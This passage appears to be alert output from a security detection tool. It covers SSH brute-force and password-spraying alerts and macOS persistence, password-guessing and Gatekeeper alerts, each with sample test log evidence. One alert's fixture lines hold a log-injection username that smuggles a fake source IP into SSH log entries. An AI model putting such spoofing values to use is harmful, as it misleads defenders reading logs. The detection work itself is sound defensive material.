Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-06-03 10:00:10Z Host web01 Source auth Origin auth_bruteforce_timing.log:33
    Failed password for root from 203.0.113.79 port 43001 ssh2
  2. 2024-06-03 10:00:13Z Host web01 Source auth Origin auth_bruteforce_timing.log:34
    Failed password for root from 203.0.113.79 port 43002 ssh2
  3. 2024-06-03 10:00:16Z Host web01 Source auth Origin auth_bruteforce_timing.log:35
    Failed password for root from 203.0.113.79 port 43003 ssh2
  4. 2024-06-03 10:00:19Z Host web01 Source auth Origin auth_bruteforce_timing.log:36
    Failed password for root from 203.0.113.79 port 43004 ssh2
  5. 2024-06-03 10:00:22Z Host web01 Source auth Origin auth_bruteforce_timing.log:37
    Failed password for root from 203.0.113.79 port 43005 ssh2
  6. 2024-06-03 10:00:25Z Host web01 Source auth Origin auth_bruteforce_timing.log:38
    Failed password for root from 203.0.113.79 port 43006 ssh2
  7. 2024-06-03 10:00:28Z Host web01 Source auth Origin auth_bruteforce_timing.log:39
    Failed password for root from 203.0.113.79 port 43007 ssh2
  8. 2024-06-03 10:00:31Z Host web01 Source auth Origin auth_bruteforce_timing.log:40
    Failed password for root from 203.0.113.79 port 43008 ssh2
  9. 2024-06-03 10:00:34Z Host web01 Source auth Origin auth_bruteforce_timing.log:41
    Failed password for root from 203.0.113.79 port 43009 ssh2
  10. 2024-06-03 10:00:37Z Host web01 Source auth Origin auth_bruteforce_timing.log:42
    Failed password for root from 203.0.113.79 port 43010 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Brute Force

First seen
2024-06-03 11:00:00Z
Host
web01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-06-03 11:00:00Z to 2024-06-03 11:00:27Z
Hosts
web01
Grouped by
src_ip = 203.0.113.80

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-06-03 11:00:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:43
    Failed password for root from 203.0.113.80 port 44000 ssh2
  2. 2024-06-03 11:00:03Z Host web01 Source auth Origin auth_bruteforce_timing.log:44
    Failed password for root from 203.0.113.80 port 44001 ssh2
  3. 2024-06-03 11:00:06Z Host web01 Source auth Origin auth_bruteforce_timing.log:45
    Failed password for root from 203.0.113.80 port 44002 ssh2
  4. 2024-06-03 11:00:09Z Host web01 Source auth Origin auth_bruteforce_timing.log:46
    Failed password for root from 203.0.113.80 port 44003 ssh2
  5. 2024-06-03 11:00:12Z Host web01 Source auth Origin auth_bruteforce_timing.log:47
    Failed password for root from 203.0.113.80 port 44004 ssh2
  6. 2024-06-03 11:00:15Z Host web01 Source auth Origin auth_bruteforce_timing.log:48
    Failed password for root from 203.0.113.80 port 44005 ssh2
  7. 2024-06-03 11:00:18Z Host web01 Source auth Origin auth_bruteforce_timing.log:49
    Failed password for root from 203.0.113.80 port 44006 ssh2
  8. 2024-06-03 11:00:21Z Host web01 Source auth Origin auth_bruteforce_timing.log:50
    Failed password for root from 203.0.113.80 port 44007 ssh2
  9. 2024-06-03 11:00:24Z Host web01 Source auth Origin auth_bruteforce_timing.log:51
    Failed password for root from 203.0.113.80 port 44008 ssh2
  10. 2024-06-03 11:00:27Z Host web01 Source auth Origin auth_bruteforce_timing.log:52
    Failed password for root from 203.0.113.80 port 44009 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Password Spraying

First seen
2024-06-03 14:30:00Z
Host
web01
Events
5 event(s)

What the rule looks for

Failed SSH password attempts against at least 5 different user names from the same source address within 10 minutes. Trying many accounts with a few common passwords avoids per-account lockouts.

When
2024-06-03 14:30:00Z to 2024-06-03 14:39:50Z
Hosts
web01
Grouped by
src_ip = 198.51.100.85

What the technique means

ATT&CK
T1110.003 (Credential Access)
T1110.003
Brute Force: Password Spraying
Credential Access

Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain.

Evidence: 5 event(s)

  1. 2024-06-03 14:30:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:82
    Failed password for invalid user admin from 198.51.100.85 port 49000 ssh2
  2. 2024-06-03 14:32:27Z Host web01 Source auth Origin auth_bruteforce_timing.log:83
    Failed password for invalid user postgres from 198.51.100.85 port 49001 ssh2
  3. 2024-06-03 14:34:54Z Host web01 Source auth Origin auth_bruteforce_timing.log:84
    Failed password for invalid user git from 198.51.100.85 port 49002 ssh2
  4. 2024-06-03 14:37:21Z Host web01 Source auth Origin auth_bruteforce_timing.log:85
    Failed password for invalid user pi from 198.51.100.85 port 49003 ssh2
  5. 2024-06-03 14:39:50Z Host web01 Source auth Origin auth_bruteforce_timing.log:86
    Failed password for invalid user user from 198.51.100.85 port 49004 ssh2

False positives to rule out

  • A shared jump host where several users mistype their passwords in a short time

Rule

Title
SSH Password Spraying (correlation)
ID
a5668195-278b-4b24-aaf9-53ee8ff41701
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_password_spraying.yml
References
medium

SSH Brute Force

First seen
2024-06-03 16:00:00Z
Host
web01
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-06-03 16:00:00Z to 2024-06-03 16:00:45Z
Hosts
web01
Grouped by
src_ip = 198.51.100.66

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-06-03 16:00:00Z Host web01 Source auth Origin auth_bruteforce_timing.log:98
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53000 ssh2
  2. 2024-06-03 16:00:05Z Host web01 Source auth Origin auth_bruteforce_timing.log:99
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53001 ssh2
  3. 2024-06-03 16:00:10Z Host web01 Source auth Origin auth_bruteforce_timing.log:100
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53002 ssh2
  4. 2024-06-03 16:00:15Z Host web01 Source auth Origin auth_bruteforce_timing.log:101
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53003 ssh2
  5. 2024-06-03 16:00:20Z Host web01 Source auth Origin auth_bruteforce_timing.log:102
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53004 ssh2
  6. 2024-06-03 16:00:25Z Host web01 Source auth Origin auth_bruteforce_timing.log:103
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53005 ssh2
  7. 2024-06-03 16:00:30Z Host web01 Source auth Origin auth_bruteforce_timing.log:104
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53006 ssh2
  8. 2024-06-03 16:00:35Z Host web01 Source auth Origin auth_bruteforce_timing.log:105
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53007 ssh2
  9. 2024-06-03 16:00:40Z Host web01 Source auth Origin auth_bruteforce_timing.log:106
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53008 ssh2
  10. 2024-06-03 16:00:45Z Host web01 Source auth Origin auth_bruteforce_timing.log:107
    Failed password for invalid user x from 192.0.2.10 port 1 from 198.51.100.66 port 53009 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Brute Force

First seen
2024-06-04 08:05:00Z
Host
deb13
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-06-04 08:05:00Z to 2024-06-04 08:05:18Z
Hosts
deb13
Grouped by
src_ip = 203.0.113.90

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-06-04 08:05:00Z Host deb13 Source auth Origin auth_openssh10.log:3
    Failed password for root from 203.0.113.90 port 51000 ssh2
  2. 2024-06-04 08:05:02Z Host deb13 Source auth Origin auth_openssh10.log:4
    Failed password for root from 203.0.113.90 port 51001 ssh2
  3. 2024-06-04 08:05:04Z Host deb13 Source auth Origin auth_openssh10.log:5
    Failed password for root from 203.0.113.90 port 51002 ssh2
  4. 2024-06-04 08:05:06Z Host deb13 Source auth Origin auth_openssh10.log:6
    Failed password for root from 203.0.113.90 port 51003 ssh2
  5. 2024-06-04 08:05:08Z Host deb13 Source auth Origin auth_openssh10.log:7
    Failed password for root from 203.0.113.90 port 51004 ssh2
  6. 2024-06-04 08:05:10Z Host deb13 Source auth Origin auth_openssh10.log:8
    Failed password for root from 203.0.113.90 port 51005 ssh2
  7. 2024-06-04 08:05:12Z Host deb13 Source auth Origin auth_openssh10.log:9
    Failed password for root from 203.0.113.90 port 51006 ssh2
  8. 2024-06-04 08:05:14Z Host deb13 Source auth Origin auth_openssh10.log:10
    Failed password for root from 203.0.113.90 port 51007 ssh2
  9. 2024-06-04 08:05:16Z Host deb13 Source auth Origin auth_openssh10.log:11
    Failed password for root from 203.0.113.90 port 51008 ssh2
  10. 2024-06-04 08:05:18Z Host deb13 Source auth Origin auth_openssh10.log:12
    Failed password for root from 203.0.113.90 port 51009 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

SSH Brute Force

First seen
2024-07-08 03:12:01Z
Host
web04
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts from the same source address within 5 minutes, the signature of an automated password guessing attack.

When
2024-07-08 03:12:01Z to 2024-07-08 03:12:20Z
Hosts
web04
Grouped by
src_ip = 203.0.113.120

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2024-07-08 03:12:01Z Host web04 Source auth Origin auth_rsyslog_repeated.log:1
    Failed password for root from 203.0.113.120 port 55010 ssh2
  2. 2024-07-08 03:12:09Z Host web04 Source auth Origin auth_rsyslog_repeated.log:2 (repeat 1/5)
    Failed password for root from 203.0.113.120 port 55010 ssh2
  3. 2024-07-08 03:12:09Z Host web04 Source auth Origin auth_rsyslog_repeated.log:2 (repeat 2/5)
    Failed password for root from 203.0.113.120 port 55010 ssh2
  4. 2024-07-08 03:12:09Z Host web04 Source auth Origin auth_rsyslog_repeated.log:2 (repeat 3/5)
    Failed password for root from 203.0.113.120 port 55010 ssh2
  5. 2024-07-08 03:12:09Z Host web04 Source auth Origin auth_rsyslog_repeated.log:2 (repeat 4/5)
    Failed password for root from 203.0.113.120 port 55010 ssh2
  6. 2024-07-08 03:12:09Z Host web04 Source auth Origin auth_rsyslog_repeated.log:2 (repeat 5/5)
    Failed password for root from 203.0.113.120 port 55010 ssh2
  7. 2024-07-08 03:12:12Z Host web04 Source auth Origin auth_rsyslog_repeated.log:6
    Failed password for root from 203.0.113.120 port 55020 ssh2
  8. 2024-07-08 03:12:20Z Host web04 Source auth Origin auth_rsyslog_repeated.log:7 (repeat 1/5)
    Failed password for root from 203.0.113.120 port 55020 ssh2
  9. 2024-07-08 03:12:20Z Host web04 Source auth Origin auth_rsyslog_repeated.log:7 (repeat 2/5)
    Failed password for root from 203.0.113.120 port 55020 ssh2
  10. 2024-07-08 03:12:20Z Host web04 Source auth Origin auth_rsyslog_repeated.log:7 (repeat 3/5)
    Failed password for root from 203.0.113.120 port 55020 ssh2

False positives to rule out

  • A misconfigured script or service retrying an outdated password
  • Vulnerability scanners run by the security team

Rule

Title
SSH Brute Force (correlation)
ID
44043ef0-67f0-4380-9c98-b348be632e58
Level
medium
Status
test
Author
Bouliw
Date
2026-09-28
File
vigie/rules/linux/lnx_ssh_bruteforce.yml
References
medium

macOS Repeated Local Password Failures

First seen
2026-10-05 08:05:02Z
Events
5 event(s)

What the rule looks for

At least 5 wrong passwords for the same local account within 5 minutes. Someone may be guessing the password of the Mac, at the screen lock, with sudo or su, or through a password prompt. macOS hides the user name, so the account is identified by its UUID (dscl . -search /Users GeneratedUID <uuid>).

When
2026-10-05 08:05:02Z to 2026-10-05 08:05:34Z
Hosts
-
Grouped by
account_uuid = 3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 5 event(s)

  1. 2026-10-05 08:05:02Z Host - Source unifiedlog Origin mac_sudo.ndjson:3
    opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid
  2. 2026-10-05 08:05:05Z Host - Source unifiedlog Origin mac_sudo.ndjson:5
    opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid
  3. 2026-10-05 08:05:08Z Host - Source unifiedlog Origin mac_sudo.ndjson:7
    opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid
  4. 2026-10-05 08:05:30Z Host - Source unifiedlog Origin mac_sudo.ndjson:10
    opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid
  5. 2026-10-05 08:05:34Z Host - Source unifiedlog Origin mac_sudo.ndjson:11
    opendirectoryd: Authentication failed for <private> (3F2A9C41-7B6D-4E8A-9D15-6C0B2E7A4F93): ODErrorCredentialsInvalid

False positives to rule out

  • A user who forgot their password, or keeps the wrong keyboard layout
  • An Apple service retrying a stale password, such as akd (Apple Account) after a password change

Rule

Title
macOS Repeated Local Password Failures (correlation)
ID
a9f5e58e-3322-4af8-adbe-68150a29350f
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_local_password_guessing.yml
References
medium

macOS XProtect Behavioral Detection Of Persistence

First seen
2026-10-05 13:00:00Z
Events
1 event(s)

What the rule looks for

A behavioral rule of XProtect (the "bastion" rules of syspolicyd) caught a program other than an Apple system binary setting up persistence, such as writing a launch agent or daemon, a hidden file in Application Support or /Users/Shared, or a shell profile. The decoded XProtect signature name is in the signature field.

When
2026-10-05 13:00:00Z
Hosts
-

What the techniques mean

ATT&CK
T1543.001, T1543.004, T1546.004, T1564.001 (Persistence, Privilege Escalation, Stealth)
T1543.001
Create or Modify System Process: Launch Agent
Persistence, Privilege Escalation

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.

T1543.004
Create or Modify System Process: Launch Daemon
Persistence, Privilege Escalation

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.

T1546.004
Event Triggered Execution: Unix Shell Configuration Modification
Persistence, Privilege Escalation

Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events.

T1564.001
Hide Artifacts: Hidden Files and Directories
Stealth

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file.

Evidence: 1 event(s)

  1. 2026-10-05 13:00:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:1
    syspolicyd: XProtect behavioral detection macOS.Persistence.Launchplists (0x400000)

False positives to rule out

  • Applications installing a launch agent or editing shell profiles (developer tools, package managers)

Rule

Title
macOS XProtect Behavioral Detection Of Persistence
ID
06da0f21-d31a-4161-abf7-6c0b95722a62
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_xprotect_behavior_persistence.yml
References
medium

macOS Launch Agent Added

First seen
2026-10-05 13:00:00Z
Events
1 event(s)

What the rule looks for

Background Task Management saw a new launch agent, a property list in a LaunchAgents folder that launchd runs for the user, typically at each login. Malware uses launch agents to start again after a reboot. Check the program the property list starts and who wrote it.

When
2026-10-05 13:00:00Z
Hosts
-

What the technique means

ATT&CK
T1543.001 (Persistence, Privilege Escalation)
T1543.001
Create or Modify System Process: Launch Agent
Persistence, Privilege Escalation

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.

Evidence: 1 event(s)

  1. 2026-10-05 13:00:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:3
    backgroundtaskmanagementd: new legacy agent com.example.updater (updater): /Users/opsadmin/Library/LaunchAgents/com.example.updater.plist

False positives to rule out

  • Applications installing their updater or helper

Rule

Title
macOS Launch Agent Added
ID
16b35a31-cc32-4cd0-a8ea-6d34895a14df
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_launch_agent_added.yml
References
medium

macOS XProtect Behavioral Detection Of Persistence

First seen
2026-10-05 13:10:00Z
Events
1 event(s)

What the rule looks for

A behavioral rule of XProtect (the "bastion" rules of syspolicyd) caught a program other than an Apple system binary setting up persistence, such as writing a launch agent or daemon, a hidden file in Application Support or /Users/Shared, or a shell profile. The decoded XProtect signature name is in the signature field.

When
2026-10-05 13:10:00Z
Hosts
-

What the techniques mean

ATT&CK
T1543.001, T1543.004, T1546.004, T1564.001 (Persistence, Privilege Escalation, Stealth)
T1543.001
Create or Modify System Process: Launch Agent
Persistence, Privilege Escalation

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.

T1543.004
Create or Modify System Process: Launch Daemon
Persistence, Privilege Escalation

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.

T1546.004
Event Triggered Execution: Unix Shell Configuration Modification
Persistence, Privilege Escalation

Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events.

T1564.001
Hide Artifacts: Hidden Files and Directories
Stealth

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file.

Evidence: 1 event(s)

  1. 2026-10-05 13:10:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:4
    syspolicyd: XProtect behavioral detection macOS.Persistence.Launchplists (0x400000)

False positives to rule out

  • Applications installing a launch agent or editing shell profiles (developer tools, package managers)

Rule

Title
macOS XProtect Behavioral Detection Of Persistence
ID
06da0f21-d31a-4161-abf7-6c0b95722a62
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_xprotect_behavior_persistence.yml
References
medium

macOS Launch Daemon Added

First seen
2026-10-05 13:10:00Z
Events
1 event(s)

What the rule looks for

Background Task Management saw a new launch daemon, a property list in /Library/LaunchDaemons that launchd runs as root at startup. Writing one needs administrator rights, and gives a program root persistence on the Mac.

When
2026-10-05 13:10:00Z
Hosts
-

What the technique means

ATT&CK
T1543.004 (Persistence, Privilege Escalation)
T1543.004
Create or Modify System Process: Launch Daemon
Persistence, Privilege Escalation

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.

Evidence: 1 event(s)

  1. 2026-10-05 13:10:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:5
    backgroundtaskmanagementd: new legacy daemon com.example.vpn.helperd (helperd): /Library/LaunchDaemons/com.example.vpn.helperd.plist

False positives to rule out

  • Software installers that need a privileged helper (virtualization, VPN, backup, device drivers)

Rule

Title
macOS Launch Daemon Added
ID
65c957df-5998-42b0-9e60-845f851950ad
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_launch_daemon_added.yml
References
medium

macOS XProtect Behavioral Detection Of Persistence

First seen
2026-10-05 13:20:00Z
Events
1 event(s)

What the rule looks for

A behavioral rule of XProtect (the "bastion" rules of syspolicyd) caught a program other than an Apple system binary setting up persistence, such as writing a launch agent or daemon, a hidden file in Application Support or /Users/Shared, or a shell profile. The decoded XProtect signature name is in the signature field.

When
2026-10-05 13:20:00Z
Hosts
-

What the techniques mean

ATT&CK
T1543.001, T1543.004, T1546.004, T1564.001 (Persistence, Privilege Escalation, Stealth)
T1543.001
Create or Modify System Process: Launch Agent
Persistence, Privilege Escalation

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.

T1543.004
Create or Modify System Process: Launch Daemon
Persistence, Privilege Escalation

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.

T1546.004
Event Triggered Execution: Unix Shell Configuration Modification
Persistence, Privilege Escalation

Adversaries may establish persistence through executing malicious commands triggered by a user’s shell. User Unix Shells execute several configuration scripts at different points throughout the session based on events.

T1564.001
Hide Artifacts: Hidden Files and Directories
Stealth

Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file.

Evidence: 1 event(s)

  1. 2026-10-05 13:20:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:6
    syspolicyd: XProtect behavioral detection macOS.Persistence.ShellProfileFiles, macOS.Persistence.Launchplists (0x410000)

False positives to rule out

  • Applications installing a launch agent or editing shell profiles (developer tools, package managers)

Rule

Title
macOS XProtect Behavioral Detection Of Persistence
ID
06da0f21-d31a-4161-abf7-6c0b95722a62
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_xprotect_behavior_persistence.yml
References
medium

macOS Launch Agent Added

First seen
2026-10-05 13:20:00Z
Events
1 event(s)

What the rule looks for

Background Task Management saw a new launch agent, a property list in a LaunchAgents folder that launchd runs for the user, typically at each login. Malware uses launch agents to start again after a reboot. Check the program the property list starts and who wrote it.

When
2026-10-05 13:20:00Z
Hosts
-

What the technique means

ATT&CK
T1543.001 (Persistence, Privilege Escalation)
T1543.001
Create or Modify System Process: Launch Agent
Persistence, Privilege Escalation

Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence.

Evidence: 1 event(s)

  1. 2026-10-05 13:20:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:7
    backgroundtaskmanagementd: new legacy agent com.apple.softwareupdate.check (Software Update): /Users/opsadmin/Library/LaunchAgents/com.apple.softwareupdate.check agent.plist

False positives to rule out

  • Applications installing their updater or helper

Rule

Title
macOS Launch Agent Added
ID
16b35a31-cc32-4cd0-a8ea-6d34895a14df
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_launch_agent_added.yml
References
medium

macOS Launch Daemon Added

First seen
2026-10-05 13:40:00Z
Events
1 event(s)

What the rule looks for

Background Task Management saw a new launch daemon, a property list in /Library/LaunchDaemons that launchd runs as root at startup. Writing one needs administrator rights, and gives a program root persistence on the Mac.

When
2026-10-05 13:40:00Z
Hosts
-

What the technique means

ATT&CK
T1543.004 (Persistence, Privilege Escalation)
T1543.004
Create or Modify System Process: Launch Daemon
Persistence, Privilege Escalation

Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS.

Evidence: 1 event(s)

  1. 2026-10-05 13:40:00Z Host - Source unifiedlog Origin mac_persistence.ndjson:9
    backgroundtaskmanagementd: new legacy daemon com.apple.installer.cleanupinstaller (cleanup_installer): /Library/LaunchDaemons/com.apple.installer.cleanupinstaller.plist

False positives to rule out

  • Software installers that need a privileged helper (virtualization, VPN, backup, device drivers)

Rule

Title
macOS Launch Daemon Added
ID
65c957df-5998-42b0-9e60-845f851950ad
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_launch_daemon_added.yml
References
medium

macOS Gatekeeper Blocked Unverified Code

First seen
2026-10-05 14:00:07Z
Events
1 event(s)

What the rule looks for

Gatekeeper refused to run code downloaded from the Internet, because Apple has not notarized it or knows it as malware, and showed a warning. The block worked, but someone tried to run it; check where it came from, and whether it was later allowed in System Settings.

When
2026-10-05 14:00:07Z
Hosts
-

What the technique means

ATT&CK
T1204.002 (Execution)
T1204.002
User Execution: Malicious File
Execution

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment.

Evidence: 1 event(s)

  1. 2026-10-05 14:00:07Z Host - Source unifiedlog Origin mac_gatekeeper_xprotect.ndjson:7
    syspolicyd: Adding Gatekeeper denial breadcrumb (direct): PST: (path: 5e1c0a7b93d24f68), (team: (null)), (id: com.example.invoice), (bundle_id: com.example.invoice)

False positives to rule out

  • Unsigned tools from developers or open source projects that users install on purpose

Rule

Title
macOS Gatekeeper Blocked Unverified Code
ID
ad332509-606f-4883-9f73-221f917394f8
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_gatekeeper_denied.yml
References
medium

macOS Gatekeeper Blocked Unverified Code

First seen
2026-10-05 14:30:04Z
Events
1 event(s)

What the rule looks for

Gatekeeper refused to run code downloaded from the Internet, because Apple has not notarized it or knows it as malware, and showed a warning. The block worked, but someone tried to run it; check where it came from, and whether it was later allowed in System Settings.

When
2026-10-05 14:30:04Z
Hosts
-

What the technique means

ATT&CK
T1204.002 (Execution)
T1204.002
User Execution: Malicious File
Execution

An adversary may rely upon a user opening a malicious file in order to gain execution. Users may be subjected to social engineering to get them to open a file that will lead to code execution. This user action will typically be observed as follow-on behavior from Spearphishing Attachment.

Evidence: 1 event(s)

  1. 2026-10-05 14:30:04Z Host - Source unifiedlog Origin mac_gatekeeper_xprotect.ndjson:11
    syspolicyd: Adding Gatekeeper denial breadcrumb (direct): PST: (path: 0b4f6e2a8c1d3957), (team: ABCDE12345), (id: com.example.tool), (bundle_id: NOT_A_BUNDLE)

False positives to rule out

  • Unsigned tools from developers or open source projects that users install on purpose

Rule

Title
macOS Gatekeeper Blocked Unverified Code
ID
ad332509-606f-4883-9f73-221f917394f8
Level
medium
Status
test
Author
Bouliw
Date
2026-10-12
File
vigie/rules/macos/mac_gatekeeper_denied.yml
References
medium

macOS SSH Brute Force

First seen
2026-10-05 16:00:00Z
Events
10 event(s)

What the rule looks for

At least 10 failed SSH password attempts on a Mac from the same source address within 5 minutes, the signature of an automated password guessing attack against Remote Login.

When
2026-10-05 16:00:00Z to 2026-10-05 16:01:03Z
Hosts
-
Grouped by
src_ip = 203.0.113.77

What the technique means

ATT&CK
T1110.001 (Credential Access)
T1110.001
Brute Force: Password Guessing
Credential Access

Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism.

Evidence: 10 event(s)

  1. 2026-10-05 16:00:00Z Host - Source unifiedlog Origin mac_ssh.ndjson:2
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51000 ssh2
  2. 2026-10-05 16:00:07Z Host - Source unifiedlog Origin mac_ssh.ndjson:3
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51001 ssh2
  3. 2026-10-05 16:00:14Z Host - Source unifiedlog Origin mac_ssh.ndjson:4
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51002 ssh2
  4. 2026-10-05 16:00:21Z Host - Source unifiedlog Origin mac_ssh.ndjson:5
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51003 ssh2
  5. 2026-10-05 16:00:28Z Host - Source unifiedlog Origin mac_ssh.ndjson:6
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51004 ssh2
  6. 2026-10-05 16:00:35Z Host - Source unifiedlog Origin mac_ssh.ndjson:7
    sshd-session: Failed password for opsadmin from 203.0.113.77 port 51005 ssh2
  7. 2026-10-05 16:00:42Z Host - Source unifiedlog Origin mac_ssh.ndjson:8
    sshd-session: Failed password for invalid user admin from 203.0.113.77 port 51006 ssh2
